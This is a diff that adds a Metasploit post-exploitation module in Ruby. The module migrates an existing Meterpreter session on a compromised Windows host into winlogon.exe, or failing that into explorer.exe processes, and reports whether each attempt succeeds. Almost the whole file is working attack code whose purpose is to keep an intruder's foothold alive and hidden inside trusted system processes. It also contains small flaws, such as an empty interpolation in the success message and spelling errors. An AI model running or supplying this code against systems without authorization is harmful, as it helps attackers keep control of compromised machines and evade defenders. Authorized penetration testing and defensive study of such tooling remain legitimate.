|
| 1 | +## |
| 2 | +# $Id$ |
| 3 | +## |
| 4 | + |
| 5 | +## |
| 6 | +# ## This file is part of the Metasploit Framework and may be subject to |
| 7 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 8 | +# web site for more information on licensing and terms of use. |
| 9 | +# http://metasploit.com/ |
| 10 | +## |
| 11 | + |
| 12 | +require 'msf/core' |
| 13 | +require 'rex' |
| 14 | + |
| 15 | +class Metasploit3 < Msf::Post |
| 16 | + |
| 17 | + def initialize(info={}) |
| 18 | + super( update_info( info, |
| 19 | + 'Name' => 'Windows Manage Process Migration', |
| 20 | + 'Description' => %q{ This module will migrate a Meterpreter session. |
| 21 | + It will first attempt to mgirate to winlogon.exe . If that fails it will |
| 22 | + then look at all of the explorer.exe processes. If there is one that exists |
| 23 | + for the user context the session is already in it will try that. Failing that it will fall back |
| 24 | + and try any other explorer.exe processes it finds}, |
| 25 | + 'License' => MSF_LICENSE, |
| 26 | + 'Author' => [ 'thelightcosine'], |
| 27 | + 'Version' => '$Revision$', |
| 28 | + 'Platform' => [ 'win' ], |
| 29 | + 'SessionTypes' => [ 'meterpreter' ] |
| 30 | + )) |
| 31 | + |
| 32 | + |
| 33 | + end |
| 34 | + |
| 35 | + def run |
| 36 | + server = client.sys.process.open |
| 37 | + original_pid = server.pid |
| 38 | + print_status("Current server process: #{server.name} (#{server.pid})") |
| 39 | + |
| 40 | + uid = client.sys.config.getuid |
| 41 | + |
| 42 | + processes = client.sys.process.get_processes |
| 43 | + |
| 44 | + uid_explorer_procs = [] |
| 45 | + explorer_procs = [] |
| 46 | + winlogon_procs = [] |
| 47 | + processes.each do |proc| |
| 48 | + uid_explorer_procs << proc if proc['name'] == "explorer.exe" and proc["user"] == uid |
| 49 | + explorer_procs << proc if proc['name'] == "explorer.exe" and proc["user"] != uid |
| 50 | + winlogon_procs << proc if proc['name'] == "winlogon.exe" |
| 51 | + end |
| 52 | + |
| 53 | + winlogon_procs.each { |proc| return if attempt_migration(proc['pid']) } |
| 54 | + uid_explorer_procs.each { |proc| return if attempt_migration(proc['pid']) } |
| 55 | + explorer_procs.each { |proc| return if attempt_migration(proc['pid']) } |
| 56 | + |
| 57 | + print_error "Was unable to sucessfully migrate into any of our likely candidates" |
| 58 | + end |
| 59 | + |
| 60 | + |
| 61 | + def attempt_migration(target_pid) |
| 62 | + begin |
| 63 | + print_good("Migrating to #{target_pid}") |
| 64 | + client.core.migrate(target_pid) |
| 65 | + print_good("Successfully migrated to process #{}") |
| 66 | + return true |
| 67 | + rescue ::Exception => e |
| 68 | + print_error("Could not migrate in to process.") |
| 69 | + print_error(e) |
| 70 | + return false |
| 71 | + end |
| 72 | + end |
| 73 | +end |
0 commit comments